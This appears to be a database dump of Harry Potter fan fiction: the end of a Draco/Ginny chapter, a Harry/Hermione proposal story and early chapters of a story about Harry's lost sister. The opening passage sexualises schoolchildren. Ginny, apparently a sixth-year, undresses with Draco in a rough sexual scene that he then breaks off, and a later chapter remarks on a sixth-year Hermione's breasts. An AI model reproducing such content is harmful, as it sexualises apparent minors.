ever at that moment.</p>\n\n<p>Kissing Draco was never the same; it was exciting and new each time. He took her to a new level, a place she never thought existed. It was like a tropical paradise she never wanted to leave. She had to get more, and once she had it, she didn\'t want it to ever stop.</p>\n\n<p>Ginny coaxed her tongue inside his mouth, his own slipping into hers. He caressed the inside of her mouth, tickling her insides. She pressed her chest into him, setting him on fire. Her fingers flew up to his chest, unsatisfied with only a kiss. She wanted more; she wanted all of him. Her tiny fingers worked steadily, unbuttoning his shirt. Soon it lay on the floor; Draco working equally as eager to unbutton her nightgown, her robe and slippers already lay forgotten on the cold, marble floor.</p>\n\n<p>Ginny tilted her head back as Draco kissed her neck. She let out a soft moan as he did something particularly pleasurable on her neck. His lips moved down to her roughly bare chest, kissing her shoulders, anything he could get his lips on. He kissed each freckle that lay on her face. Draco looked down at her, surveying her milky skin flecked with freckles, her hair curling slightly from the heat. He lightly lifted her up, feeling the need to lay with her. She wrapped her legs around him provocatively, causing his pants to stir.</p>\n\n<p>Ginny heard Draco groan with passion, as she let her fingers tease the line of his pants. She quickly undid the clasp that held his pants closed, slipping them off his legs. She couldn\'t help but giggle upon seeing the same dragon boxers she had seen the night she crept into his room.</p>\n\n<p>He paused their kiss, looking questioningly at her. She smiled sensually at him, raising her head up to his, kissing him anxiously. The pause had drove her insane with the need of his lips to be on her again.</p>\n\n<p>He set her down gently on his bed, pushing most of the pillows off it in eagerness. Fingering a soft tendril of hair, he kissed her nose sweetly. Her fiery hair lay spread about his bed, her fruity aroma intoxicating him. He leaned down, letting his lips explore her nearly bare body. As Draco lay on top of her, Ginny wrapped her legs around his own, pushing her hips into him.</p>\n\n<p>He pressed back into her, gripping her arms firmly, needing her support. The next day she would discover five purple bruises on each arm where he clutched her. It didn\'t matter at that moment how much he was hurting her; she wanted it. She needed him as fiercely as he needed her. He was aroused, and it was pushing violently into her leg.</p>\n\n<p>Ginny\'s breaths became ragged with fear. Fear of giving everything to him, of giving up her virginity. Her body shook, silent tears leaking from her eyes as she kissed Draco. He stopped upon feeling her tremble, he pulled away from her, surveying what he had done. She turned in the bed, facing him. Draco huffed, pulling his shirt and pants back on. Ginny reached out to him as to draw him back to her.</p>\n\n<p>Feeling him leave her was the worst thing she had experienced in her life. All the warmth escaped her body, leaving her to freeze in her undergarments alone on his suddenly chilly bed. No emotion was in his eyes; she was locked out of him. He was silently pushing her away. It hurt most when he looked at her as if she was filth lying on his bed. As if she was nothing more than a speck of dust, a common prostitute, even. She had almost given herself to him and he stared at her as if she was just one of his whores, she didn\'t matter to him.</p>\n\n<p>&quot;You don\'t belong here. Go back to your brother and his little friends,&quot; Draco snapped turning his back to her. He didn\'t know what he would have done to her if she hadn\'t shaken with fear. She was so pure and innocent, so unlike him. He couldn\'t live up to it if he hurt her. He had to end it before he did something he regretted. Something like having a child.</p>\n\n<p>&quot;Who are you to say where I belong?&quot; she snapped, pulling her nightgown over head. She pulled her robe tightly to her, sliding her feet into her slippers.</p>\n\n<p>&quot;Don\'t you get it Weasley? We were nothing, you were just a good snog for the year, but that\'s it. No one means anything to me, not you, not my family, no one!&quot; he roared truthfully. No one had ever meant anything to him except perhaps his father. He watched her flinch with hurt. A feeling of satisfaction flooded his body. <i>So this was what was meant to be, </i>Draco concluded, a cruel grimace creeping about his lips.</p>\n\n<p>&quot;Go to hell,&quot; she spat narrowing her eyes.</p>\n\n<p>&quot;Already made reservations,&quot; he sneered, opening the door for her, as to shove her out of his room.</p>\n\n<p>&quot;Do us all a favor and fuck a piece of toast Malfoy!&quot; Ginny spat, marching out of the room. Draco growled, rushing to his bathroom.</p>\n\n<p>Ginny stomped all the way back to Gryffindor tower, not caring if she was caught. Fortunately, Filch was at the opposite end of the castle chasing peeves around the trophy room. Instead of going up the stairs to the girl\'s dormitories, she climbed up the stairs that led to the boy\'s. She paused momentarily at the door of sixth years, but swung it open without a moment\'s more hesitation.</p>\n\n<p>She padded over lightly to Colin\'s bed, opening the curtain of his four poster big enough to admit her, and crept inside. He had been awake reading, but paused to look at her as she crept inside. He shifted in his bed to allow her room. Ginny began to silently cry, hugging Colin forcefully. He wrapped his arms around her, kissing the top of her head. She cried herself to sleep in his arms.</p>\n\n<p>***</p>\n\n<p>&quot;Poor Ginny has to stay here another year,&quot; Harry sighed sorrowfully patting her fiery head. Ron let out a soft chuckle, looking from his sister to his two friends.</p>\n\n<p>&quot;Hey! Just because you three are graduating this year doesn\'t mean next year won\'t be a bore here!&quot; Ginny giggled looking at the three.</p>\n\n<p>&quot;You will come to the ceremony, won\'t you?&quot; Ron asked hopefully. Ginny nodded her head. A huge grin spread across his face.</p>\n\n<p>&quot;You all will be late, your graduation starts in five minutes!&quot; she sighed, hurrying the three, garbed in silky graduation robes, out of the Gryffindor Common Room. They gave her a quick wave goodbye, before they disappeared out into the hall.</p>\n\n<p>She twirled around in her yellow summer robe in front of the mirror to give herself a once over, and then trotted out of the portrait herself. Her trunks had already been packed for the ride home that was to come later that evening, so she didn\'t have to worry about anything.</p>\n\n<p>Her white sandals made little clicking noises on the marble as she padded down the hall. With a huge heave she opened the doors to the Great Hall, sitting herself down near the front of the Gryffindor table. </p>\n\n<p>The band of seventh years entered the Great Hall gracefully, lining themselves up in alphabetical order by their respectable tables. Ginny watched them, their eyes filled with pride. Soon, the calling for diplomas began. Hannah Abbot was the first to go, and she received her diploma and citizenship award with honor and pride. They moved across the hall with a certain skip in their step. Ginny couldn\'t look away when a certain Slytherin was called.</p>\n\n<p>She tried to shun her eyes from his almost genteel form, but felt drawn to him. Draco swept his silky hair behind his ear as he shook Professor Dumbledore\'s hand. His cloak was lined beautifully with a emerald snake, a silver \'s\' clasp holding it together around his neck. </p>\n\n<p>His eyes briefly traveled to hers, but he didn\'t catch the tears slipping down her cheeks. She never noticed the remorse in his eyes. Would they ever know?</p>\n\n '),
	(30, 1, '\n<center>\n            Harry Potter And The Eternal Circle~ By Songbird21</center>\n<p>\n </p><dd>Just a little fluffy bunny I wanted to write.  Thoughts are in {}s. Harry and Hermione are in their early-twenty\'s. \n<p>\n </p></dd><dd>Someone commented that he thought Harry was acting too gallant. I say they\'ve grown up and everyone changes at least a little when they grow up. \n<p>\n  </p></dd><dd>   Please read and review. Love it or hate it let me know. But if you do review and don\'t like it please make it constructive criticism. Flames don\'t help people write better stories. If you spot any grammer errors let me know. I think I got \'em all but no one\'s perfect. Thanks! And now....on with the fluff!\n<p>\n</p><center>=================================================</center>\n<p>\n    </p></dd><dd> Harry looked down at the small gold ring he held in his hand. {Am I really ready for this?} he thought. He gripped the galleons in his pocket and let them fall. He repeated this several times. Each time he felt like the coins were hitting the pit of his stomach and not the bottom of his pocket.\n<p>\n   </p></dd><dd>  It was a beautiful ring. The band was made of braided gold. The stone was a diamond cut emerald. Harry knew it broke with tradition but for them he felt it made sense. One last deep breath and he turned back towards the counter. &quot;I\'ll take it,&quot; he said to the clerk. \n<p>\n   </p></dd><dd>  &quot;Don\'t worry. I doubt any girl could say no to a cutie like you,&quot; the clerk said as she winked and put the ring into it\'s burgundy velvet box. \n<p>\n   </p></dd><dd>  Harry smiled appreciatively and put the box in his pocket. He walked out the door, sat on a bench, and began dreaming of ways to ask her the big question.\n<p>\n                   </p><center>+++++++++++++++++++++++++++++++++++++++++++++++++++++++</center>\n<p>\n   </p></dd><dd>  Hermione lay on her back on the grass. The branches of the trees above her made intricate shadows appear across her face. She sighed and closed her eyes. \n<p>\n   </p></dd><dd>  &quot;Professor Granger?&quot; a voice called. \n<p>\n  </p></dd><dd>   Hermione opened one eye to see Tia Mason. One of her first year students. She propped herself up on her elbows. &quot;Hello Tia. What is it?&quot;\n<p>\n  </p></dd><dd>   &quot;The headmaster asked me to tell you he wanted to speak with you. He\'s waiting by the lake,&quot; she said as she smiled.\n<p>\n   </p></dd><dd>  &quot;Did he now?&quot; Hermione grinned. &quot;Thank you Tia. Why don\'t you head off to lunch now?&quot;\n<p>\n    </p></dd><dd> &quot;Kay. Bye Professor Granger,&quot; she called back over her shoulder as she headed toward the castle.\n<p>\n   </p></dd><dd>  Hermione stood up, brushed the grass off her robes, and walked off to the lake. She smiled when she saw him. He looked ridiculous in such formal robes. He didn\'t belong in them. &quot;Must be important if our esteemed headmaster sent for me by way of a student,&quot; she half giggled.\n<p>\n   </p></dd><dd>  The headmaster smiled, knelt down in front of Hermione, and kissed her hand. &quot;Your too pretty to be a teacher,&quot; he said smoothly.\n<p>\n    </p></dd><dd> &quot;Honestly Harry. You really should take your position more seriously. Professor Dumbledore put a great deal of confidence in you,&quot; she scolded.\n<p>\n   </p></dd><dd>  &quot;He never took it all too seriously himself you know,&quot; he grinned and winked.\n<p>\n   </p></dd><dd>  Hermione rolled her eyes. &quot;Anyway. What did you want to talk to me about?&quot;\n<p>\n   </p></dd><dd>  &quot;I have a surprise for you.&quot;\n<p>\n    </p></dd><dd> Hermione smiled. &quot;A surprise?&quot;\n<p> \n  </p></dd><dd>   Harry gulped inwardly. &quot;Yeah. Can you meet me by the lake tonight. Say around midnight?&quot;\n<p>\n  </p></dd><dd>   Hermione looked perplexed. &quot;Sure but what.....?&quot;\n<p>\n </p></dd><dd>&quot;Great!. I\'ll see you later then,&quot; he said, his eyes sparkling. He turned to leave. \n<p>\n  </p></dd><dd>   &quot;Harry Potter what are you plotting now?&quot; she said with her hands on her hips.\n<p>\n  </p></dd><dd>   Harry looked back at her and waggled his finger. &quot;Uh uh. You\'ll have to wait and find out,&quot; he said as he wiggled his eyebrows.\n<p>\n  </p></dd><dd> Hermione threw up her hands in frustration. &quot;Oh have it your way. You\'re such a...,&quot; her sentence was cut off as Harry cupped her chin in his right hand and began to kiss her. She immediately forgot her argument. Harry brushed his lips lightly against hers. Teasing her. Finally he pressed his mouth down firmly on hers and Hermione\'s knees turned to butter. It was amazing that he could still have this effect on her after five years. Feeling his tongue tracing her lips sent a jolt of electricity through her. {My God he\'s good.} she thought.\n<p>\n\n  </p></dd><dd> Harry broke the kiss and began to walk away. &quot;See you tonight,&quot; he called, &quot;And wear something nice!&quot;\n<p>\n  </p></dd><dd>   &quot;Prat!&quot; Hermione yelled.\n<p>\n  </p></dd><dd>   Harry laughed and kept walking.\n\n     <p>              </p><center>+++++++++++++++++++++++++++++++++++++++++++++++++++++++</center>\n<p>\n  </p></dd><dd>   Hermione walked toward the lake as she squinted her eyes for signs of Harry. Her dress rustled as she stepped over the soft grass. It was medium blue with pale yellow bows on the chest and at the small of her back. It was medieval in design and had sleeves with puffed shoulders that opened up to be very wide and trailing down to her waist. Her hair was braided on the sides and the back was left down. \n<p>\n </p></dd><dd>   As Hermione got to within five meters of the shore the surface of the lake started to ripple and glow. Music began to play from some where nearby. With every beat of the music plumes of water shot into the air. Each geyser was lit with a different color. The tallest ones seemed to hit twenty meters.Hermione stared in wonder. She recognized the song. It was &quot;Crash and Burn&quot; by the muggle group Savage Garden. She was amazed he\'d found a copy of it. The song was almost eleven years old after all.\n<p>\n  </p></dd><dd>   Just as the chorus came up Hermione felt a strong arm wrap around her waist and she was flung onto the front of a broomstick. \n<p>\n </p></dd><dd> &quot;Don\'t worry. I\'ve got you,&quot; came Harry\'s voice from behind her. Of course she\'d known almost instantly it was him. He took her too a height of around sixty-five meters and just hovered there.\n<p>\n </p></dd><dd>Hermione was beside herself. &quot;Harry....this is...this is just........amazing,&quot; she said, the awe apparent in her voice.\n<p>\n </p></dd><dd>Harry held her closer and smiled with satisfaction. &quot;I thought you\'d like it,&quot; he said as he bent around and kissed her gently. She loved how he looked. He was wearing a navy blue modern dress jacket. No bow tie, in fact the top two buttons on the front of his shirt were undone. {So handsome.} she thought. They stayed there in the starlit sky just watching the display. \n<p>\n</p></dd><dd> Near the end of the song Hermione noticed the water plums were now all blue. She also noticed some of them weren\'t returning to the lake surface. They just stood there, looking like living glass. &quot;Harry what\'s going on?&quot; she asked.\n<p>\n </p></dd><dd>&quot;Shhhh. Just watch,&quot; he replied. Letters were being formed, which in turn became words. When the music stopped and the words were complete Hermione stared slack jawed at what was spelled out. She turned to face Harry with tears in her eyes. He reached into his jacket and pulled out the velvet box. He opened it. &quot;Hermione Granger. Will you do me the immense honor of becoming my wife?&quot;\n<p>\n</p></dd><dd>&quot;You actually expect me to say no? Of course I will!&quot; she said through her joyful tears.\n<p>\n </p></dd><dd>Harry whooped loudly. He held her tight, made a huge loop in the air and then landed. Hermione\'s heart was in her throat. &quot;Harry! That was dangerous. I could\'ve fallen!&quot;\n<p>\n</p></dd><dd>Harry leaned in close and placed his forehead against hers. &quot;I will always be here to catch you,&quot; he replied as he placed the ring on her finger. \n<p>\n</p></dd><dd>At that moment Harry Potter felt the best he ever had in his entire life. He\'d always been called \'the boy who lived\'. But only now that the woman he loved would be by his side forever could his life truly begin.\n<p>\n  </p><center>                                                                                     The end<br>\n======================================================\n</center>\n </dd><dd>Hope you liked it. :) If you like this story you should check out my other H&amp;H fics. They\'re more story combined with fluff. It\'s going to be a running series.They\'re rather long but worth the read from what my reviewers have told me. :) Later all.                   \n\n\n\n\ngeovisit();<img src="http://visit.webhosting.yahoo.com/visit.gif?us1043097967" alt="setstats" border="0" width="1" height="1">\n<img src="http://geo.yahoo.com/serv?s=76001405&t=1043097967" alt="1" width="1" height="1">\n'),
	(30, 2, 'This is a companion fic to my &quot;Emerald Spellbook&quot; series. Please read &quot;Harry Potter and the Soul Crystal&quot; to start at the begining. :)'),
	(31, 1, 'Rating: R (rating is for violence, some swearing and a brief moment of minor lime) <p> SUMMARY: Ever since Harry began dreaming about the Soul Crystal he\'s become obsessed with it. He\'s also trying to deal with new feelings for Hermione, an unexpected reunion, Voldemort\'s deepest secret and the reason why is Harry so powerful......... </p><p> Spoiler warning: All books </p><p> Type of fic: General, romance. </p><p> Other pairings in story: George/OC (Just flirting right now. Becomes something more in the sequal) </p><p> Author\'s Notes: This fic doesn\'t acknowledge OoTP. None of the sequals to this fic will acknowledge it either. Also please note that the Twins have been held back a year &amp; that\'s why they\'re still at Hogwarts. </p><p> </p><dd>The only characters/things I own are the bubble sprites, Soul Crystal, flamingo seeds, razorum spell, twindoma spell, Magical Artifacts Throughout History book, Soul Beast, argots, bright spots, Wendy Kitanya, Ardian and Rachel Tigerlilly. Please don\'t use them in a story w/out asking me first. <p> </p></dd><dd>Yes there\'s an origional character in this. But trust me, she\'s NOT a Mary Sue. I made this character up because Harry needed to have at least on living relative that wasn\'t repulsive. She\'s pretty but she\'s NOT drop dead gorgeous &amp; the Hogwarts boys DON\'T go nuts over her. She\'s good at magic, but she\'s not perfect. In fact, she puts her foot in her mouth a lot. Even if you\'re not a fan of origional characters please finish reading the story. I think you\'ll be pleasantly surprised. <p> </p><div class="center"> Harry Potter and the Soul Crystal - by Songbird21</div><p></p><p> Chapter 1</p><p> (Part of the \'Emerald Spellbook\' series) </p><p> ____________________________________________________<br/>\n ____________________________________________________<br/>\n ____________________________________________________<br/>\n AMERICA </p><p> </p></dd><dd> Professor McGonagall sat down on the rock in front of her. Her cat eyes darted all around the swamp, but the fire salamander she needed for her potion was nowhere to be seen. <i>"I will never understand why fire salamanders live in places where there is so much water."</i> She mentally sighed. <i>"Perhaps I should consult Hagrid. He may have an idea where......"</i> Her thoughts were cut off abruptly as a rotten branch from the tree above came crashing down on her head and front legs. <p> </p><div class="center"> =============================================================</div> <br/>\n BRITIAN <p></p><p> </p></dd><dd> The Hogwarts Express lazily wound through the lush, green hills of the British countryside. <p> </p></dd><dd> Harry felt someone poking him in the side of the ribs and woke up abruptly. Hermione was looking at him with disbelief on her face. "I can\'t believe you of all people would nod off on the way to Hogwarts." <p> </p></dd><dd> Harry took a deep breath and shook his head slightly to rid himself of the last traces of sleep. "Sorry, Hermione," he yawned. "I just finished moving my stuff over to Sirius\'s last night. I\'m exhausted." Harry rubbed his eyes. <p> </p></dd><dd> Hermione nodded to her left. "Well, I woke you up to tell you the food trolley\'s here." <p> </p></dd><dd> Harry ordered one of everything. Hermione and Ron looked at him with surprise. Harry hadn\'t ordered that much food since their first year. Harry caught their stare and shrugged. "I\'m free from the Dursleys. I feel like celebrating." Harry smiled again at the memory of being told how the Ministry found Peter Pettigrew. Pettigrew confessed to being the real traitor, so Sirius had been exonerated. It wasn\'t until two months later that the transfer of guardianship to Sirius from the Dursleys was finalized. Harry had cried tears of joy as Sirius drove him away from Privet Drive. Away from his laughable excuse for a family. <p> </p></dd><dd> Hermione and Ron grinned. After the trio had stuffed themselves they talked excitedly about the dance that Hogwarts was holding for the sixth years. As they spoke Harry suddenly noticed he was staring at Hermione a bit too much. This wasn\'t the first time either. He\'d started to notice her as a woman near the middle of their fifth year. <i>"Stop that!"</i> he scolded himself, <i>"She\'s one of your best friends!"</i> He kept trying to focus on the conversation but it just wasn\'t any use. He knew he liked her. Now he just had to figure out what he was going to do about it. <p> </p><div class="center"> =============================================================</div> <p></p><p> </p></dd><dd> The Hogwarts express came to a halt and everybody piled out. Suddenly all chatter on the platform ceased and the trio stood on their tiptoes to see what everyone was staring at. To their shock Albus Dumbledore was standing in front of the crowd. He had a grave look on his face. Dumbledore spoke in a way that made his voice sound very strange. Harry knew something was wrong. "I have very troubling news for all of you. I regret I must deprive the first years of their trip across the lake. Everyone will join me in the great hall immediately." Dumbledore and Hagrid got everyone into the carriages. <p> </p></dd><dd> "Everybody \'old on," said Hagrid as the carriages moved much faster than any of the students thought possible. Once at the castle everyone was hurried into the great hall. The first years were told to take whatever seats were available. Dumbledore and the rest of the staff were sitting at the main table. Harry noticed that one of the seats was empty and got an awful feeling of dread. <p> </p></dd><dd>Dumbledore cleared his throat. "Just this morning we received word that Professor McGonagall....has been missing for two weeks." A torrent of whispers broke out among the students. Hermione looked to be on the verge of panic. "Until she is found, Sirius Black has kindly offered to teach her classes. Please be assured we are doing everything we can to find Professor McGonagall. The sorting ceremony will now commence. Sirius, if you please," said Dumbledore as he surprised the students again by standing up and walking out into the hall. Hagrid followed him and put a gigantic arm around Dumbledore\'s shoulders. <p> </p></dd><dd> The sorting ceremony went on in a strangled silence. Afterwards everyone trudged up to their dorms. Harry mumbled the word \'mermaid\' to the fat lady and stepped on through to the Gryffindor common room. Hermione immediately fell into one of the armchairs and began to cry. <p> </p><div class="center"> =============================================================<br/>\n AMERICA</div> <p></p><p> </p></dd><dd> Professor Minerva McGonagall woke to find herself lying on a cat bed in a small bedroom. The room was pretty unimpressive. A bed was off to one side, a dresser was to the right of it and a small stack of very worn looking stuffed animals sat at the foot. She saw movement out of the corner of her eye. A girl of about Harry\'s age had come into the room. She was five feet three inches. She had dark brown hair that went down past her shoulders, deep green eyes, and a light tanish complexion. McGonagall cursed mentally. A muggle had found her knocked out and now thought she was a normal cat. <p> </p></dd><dd> The girl smiled wide when she saw her patient was awake. "Oh wonderful!" she exclaimed smiling, "I\'m so glad you\'re okay. I was starting to worry." She knelt down and began to stroke McGonagall\'s fur. "My name\'s Wendy. I wonder what your name is," she said as the cat cocked its head to one side. "I\'ll just call you Tabby for now." <p> </p></dd><dd> McGonagall wasn\'t listening. She was staring at the odd shaped birthmark that was half visible under the t-shirt sleeve on Wendy\'s arm. <i>"Is it possible?"</i> she thought. <p> </p></dd><dd> "WENDY!!!" came a voice bellowing up the stairs. Footsteps followed the voice and soon a large woman with frizzy black hair entered the room. "Everyone else is at the table. I refuse to have my children wait on dinner because my baby sister is too involved in playing with some mangy cat!" she said as she grabbed the girl by the ear, who let out a screech of protest. McGonagall was about to follow, but as she tried to get up a sharp pain shot up through her right front leg. She sighed. The leg was either broken or severely sprained. She decided to just stay where she was for now. Besides she was very interested in that birthmark. <p> </p></dd><dd> Wendy came back into the room a half hour later. She looked dejected. She went over to McGonagall and began to pet her. "From parents who don\'t care much about me to an older sister who hates my guts. What a life, huh, Tabby?" She flopped backwards onto her bed and sighed. <p> </p></dd><dd> For about a week and a half, McGonagall laid in that cat bed. Every other day she tried to put some weight on her leg. Eventually the pain had subsided enough for her to stumble around the bedroom a bit. Wendy came in the room and was delighted to see her Tabby up and about. McGonagall knew she could leave, but she wanted to know more about Wendy. <p> </p></dd><dd> Over the next two days McGonagall tried to look at Wendy\'s mark, but it was always half covered by a sleeve. Finally, just after one of Wendy\'s showers, she saw her chance to get a better look. Usually Wendy brought her change of clothes into the bathroom but that day she forgot. As she kneeled on the floor to open the bottom drawer on her dresser McGonagall saw it. It was definitely the one. A dolphin shaped birthmark. She couldn\'t believe her luck. <i>"After 16 years I find her in America of all places. I must get her out of here."</i> <p> </p></dd><dd> After Wendy was dressed, McGonagall gently put her mouth around Wendy\'s arm sleeve and pulled. Wendy looked down at the cat with a puzzled expression. "What are you doing, Tabby?" McGonagall pulled harder, then jumped down and headed for the door. She stopped halfway and looked back at Wendy expectantly. "You want me to follow you?" A loud me-yow was her answer. She hopped down off the bed. "Okay. I\'m always game for weird stuff," she said as she followed the cat down the stairs and out the front door. Her \'family\' were all planted in front of the TV. <p> </p></dd><dd> Once they were outside, McGonagall led Wendy to a clearing in the woods behind the house. <i>"This looks like a good spot,"</i> McGonagall thought. Wendy watched the cat sit down. She didn\'t see the harm so she followed suit. The cat put a paw on Wendy\'s wrist and stared into her eyes for a moment before turning back into a human. As soon as the paw had turned back into a hand she grabbed the wrist tight. Wendy\'s eyes were round as saucers as she tried to scuttle backwards, but it was to no avail. "Please do not be frightened, Wendy. You must listen to me." Something about McGonagall\'s kind voice made Wendy relax a bit. "I have to take you home." <p> </p><div class="center"> ============================================================= <br/>\n BRITIAN</div> <p></p><p> </p></dd><dd> Harry stood in the doorway of the girl\'s dormitory. He was watching Hermione staring at a picture of Professor McGonagall. He walked over to her and put a comforting hand on her shoulder. Hermione looked at him gratefully. "They\'ll find her. It\'ll be okay." <p> </p></dd><dd> Hermione looked into Harry\'s eyes and, not for the first time that year, she felt a wave of warmth wash over her at seeing the twinkle that was there. She often tried to push away the feelings that surfaced when he was around, but it was very difficult. It was difficult to ignore the crop of black, unruly hair that fell into his face in such a sexy way; the emerald eyes that pierced her soul, the chiseled body and tan that had been formed out of so many hours of Quidditch, and the deep yet soft voice he now had thanks to puberty. <p> </p></dd><dd> Since she had used a charm on her hair that made it soft and shiny Hermione was getting a lot more attention from the boys. That and the fact that she now had a shapely body that included a pair of C-cup sized breasts. Most of the girls were B-cups, which meant a lot of them were now distancing themselves from her because of jealousy. They were sick of the way she monopolized the time of the fifth and sixth year male population of Hogwarts and had told her as much. She hadn\'t meant to monopolize, but she couldn\'t be rude and completely ignore her callers. She had told them politely that she wasn\'t interested but they kept at it anyway. <p> </p></dd><dd> Hermione didn\'t feel even remotely romantic about any of the boys except for Harry. And even that she tried to ignore. He was, after all, one of her best friends, and she was afraid of what would happen if they went for a relationship and things didn\'t work out. Her trance was broken by Ron bursting into the dormitory. He looked excited. "They found her!!!" was all it took for Hermione to nearly knock both of her friends over in her rush to get out the door. <p> </p><div class="center"> =============================================================</div> <p></p><p> </p></dd><dd> The Great Hall was bustling with excitement. The trio quickly made their way to their seats and watched the head table expectantly. Dumbledore rose his hand to silence the crowd. "Thank you all for assembling so quickly. Professor McGonagall should be here any moment." Almost as if on cue a huge round of applause broke out among the students. McGonagall strode in and stood in front of the head table. <p> </p></dd><dd> "Thank you everyone. It is most pleasing to receive such a heartfelt welcome home," McGonagall said and then waited for the clapping to die down. "I apologize I must make my immediate appearance brief however. Harry Potter. I need to have a word with you in private. Everyone please enjoy the celebration," she said as she left the room and beckoned Harry to follow her. Ron and Hermione looked at him as if to ask what was going on, but Harry just shrugged. <p> </p></dd><dd> Harry walked down the hall with an air of great curiosity about him. What could be so important that it take McGonagall away from her welcome home celebration. She led Harry down to her office and told him to wait outside for a moment. Harry peered in through the glass in the door to see her talking to a girl about his age. McGonagall squeezed the girl\'s shoulder and waved Harry in. Harry sat down in a chair across from the girl. He felt like he\'d known her all his life. It was strange. <p> </p></dd><dd>McGonagall sat down and took a deep breath. "Harry. This is a day I have waited for for nearly sixteen years. This is Wendy Kitanya." Wendy nodded nervously. "Like you Harry she\'d had no idea the wizarding world existed. She has lived with muggles most of her life." The word \'most\' caught Harry\'s attention. "I was in cat form in America looking for potion ingredients when a falling tree branch knocked me unconscious." Harry winced. "Wendy thought I was a genuine feline. She took me to her home and took care of me till I awoke. I realized by the birthmark on her arm that the muggles she was living with were not her true family and that she was of wizard parentage. Needless to say, I brought her here." <p> </p></dd><dd> Harry just sat there, not quite sure of what McGonagall was trying to say. He waited for her to continue. "Harry. What I must tell you will come as a bit of a shock. Harry. Wendy is ....," McGonagall was cut off by screams emanating from the hallway. <p> .........TO BE CONTINUED</p><p> </p><div class="center"> =============================================================</div> <p></p><p> Hope ya like it. Lots more ta come. And for those of you who think you know who Wendy is, the answer is...no, she is not a illigitimate child. </p><p> '),
	(31, 2, ' <center> Harry Potter and the Soul Crystal - Chapter 2 <p> If anyone wants to try and draw the monster in Harry\'s dream I\'d LOVE to see it. I\'d even post it in a URL for all to see. </p><p> ______________________________________________________________________________<br>\n ______________________________________________________________________________<br>\n ______________________________________________________________________________</p><p>\n\n</p></center>\n\n<dd> Harry, Wendy and McGonagall rushed from the office to find a pegasus barreling through the hallway, scattering students everywhere. Potted plants were knocked from their stands by its great wings and the paintings all ducked as the magnificent creature ran past. &quot;How on Earth did that get in here?!&quot; McGonagall said with surprise. <p>\n\n</p></dd><dd> Without missing a beat Wendy moved in front of the winged horse and held up her hands. Harry was all ready to push Wendy out of the way when the pegasus came to a screeching halt just inches in front of her. Wendy moved toward it talking softly. &quot;Shhhhhhh. It\'s okay. I won\'t hurt you,&quot; she cooed as she stroked it\'s nose. Except for Wendy talking to the animal there was almost no sound in the hall. <p>\n\n</p></dd><dd> McGonagall looked surprised but had kept her composure for the most part. She strode over to Wendy. &quot;Why didn\'t you tell me you were a beastmaster?&quot; <p>\n\n</p></dd><dd> Wendy looked embarrassed. &quot;Well, with everything you guys could do I didn\'t think you\'d care about something so small.&quot; <p> McGonagall looked taken aback but remembered quickly that Wendy wouldn\'t realize how significant this was. &quot;A beastmaster is quite rare. Only three thousand and fifty eight have ever been born,&quot; she said &quot;Our Care of Magical Creatures professor would give his right hand to be a beastmaster.&quot; </p><p>\n\n</p></dd><dd> Almost as if to prove McGonagall\'s point Hagrid came huffing up the hall with a broken lead in his massive hands. &quot;I,&quot; cough, &quot;I don\'t know how ye did it miss but thank ye fer stoppin\' her.&quot; <p>\n\n</p></dd><dd> McGonagall was tapping her foot. &quot;What is the meaning of this Hagrid?&quot; <p>\n\n</p></dd><dd> Hagrid shuffled his foot. &quot;I\'m sorry. I was tryin\' ter walk her past the main doors when Draco Malfoy threw a snap at her....and since the doors were open due ter the weather....... &quot; <p>\n\n</p></dd><dd> McGonagall looked extremely annoyed. &quot;Hagrid. You should not have brought her so near the school building. As for Malfoy, I\'ll deal with him later,&quot; she said, narrowing her eyes. <p>\n\n</p></dd><dd> Wendy began to choke back tears of joy. &quot;I can\'t believe it. A real pegasus. She\'s so beautiful.&quot; She turned to the pegasus. &quot;Hello girl. You\'re very pretty. Yes you are,&quot; she sniffed. <p>\n\n</p></dd><dd> Dumbledore walked up to the group. He had apparently been watching the entire thing. Wendy wiped her eyes. <p>\n\n</p></dd><dd> &quot;Albus. Why aren\'t you still with the students?&quot; asked McGonagall. <p>\n\n</p></dd><dd> Dumbledore smiled. &quot;I decided I did not wish to miss such a momentous occasion.&quot; He looked at Wendy. &quot;Is this her?&quot; he asked. <p>\n\n</p></dd><dd> Mcgonagall nodded and smiled. She led Dumbledore, Harry, and Wendy back into the office. <p>\n\n</p></dd><dd> Once everyone was inside Dumbledore looked to McGonagall. &quot;Do you mind if I continue this, Minerva?&quot; <p>\n\n</p></dd><dd> McGonagall smiled. &quot;Not at all, Albus,&quot; she said as she seated herself. <p>\n\n</p></dd><dd> &quot;Good to see you\'re alright Harry,&quot; Dumbledore said with relief in his voice. &quot;And you too, Wendy Kitanya,&quot; he paused a moment. &quot;Or should I say Wendy Potter.&quot; <p>\n\n</p></dd><dd> Harry whipped his head around to his left and just stared at Wendy with a look of utter shock.. Wendy gave him a half hearted smile, not knowing what to say. Dumbledore squared his shoulders and spoke again. &quot;I must say, you gave us quite the chase. The wizard who took you put an anti-search charm on your hand. That\'s why none of the location spells we used worked.&quot; <p>\n\n</p></dd><dd> At that time Harry said in a choked tone. &quot;What are you talking about?&quot; <p> Dumbledore sighed. &quot;Please sit down....both of you,&quot; he said as he himself sat in the large arm chair by the fireplace. He suddenly looked his age. Worn. Tired. &quot;I\'ve always had trouble accepting that so many tragedies could befall one family, but before you lost your parents you also lost someone else.&quot; He scratched the small area on top of his head where the hair was thinning. &quot;Harry....Wendy is your sister.&quot; </p><p>\n\n</p></dd><dd> Harry was stunned into silence. Finally he spoke in a very small voice. &quot;Sister.........I have a sister?&quot; he said only half believing it. <p>\n\n</p></dd><dd> Dumbledore continued. &quot;Wendy was James and Lilly\'s first child. One night, while they were on holiday in London, someone stole Wendy right out of her carriage. She was only a year old. We launched an enormous search but she was nowhere to be found. The Potters were devastated. Not long after, they discovered that you were to be born Harry,&quot; Dumbledore sighed sadly, &quot;And only one year after that we lost them and nearly you.&quot; He paused for a moment and then half laughed. &quot;It\'s amazing to think that we only found Wendy because Minerva was desperate to remove a few wrinkles.&quot; <p>\n\n</p></dd><dd> &quot;Why didn\'t you tell me?&quot; asked Harry with a bit of irritation in his voice. <p>\n\n</p></dd><dd> &quot;You had already been through so much. I did not want to bring you more pain by telling you there was yet another family member that you had lost,&quot; Dumbledore said regretfully. <p>\n\n</p></dd><dd> Harry looked at Wendy again. After a moment of staring a small smile slowly played across his lips. Wendy followed in kind. The smile quickly grew into a huge grin as Harry ran over to Wendy and gave her a huge bear hug. &quot;Um, Harry? Air, becoming an issue here.&quot; <p>\n\n</p></dd><dd> A voice came from behind the newly reunited Potters. &quot;I can\'t believe she\'s actually here,&quot; 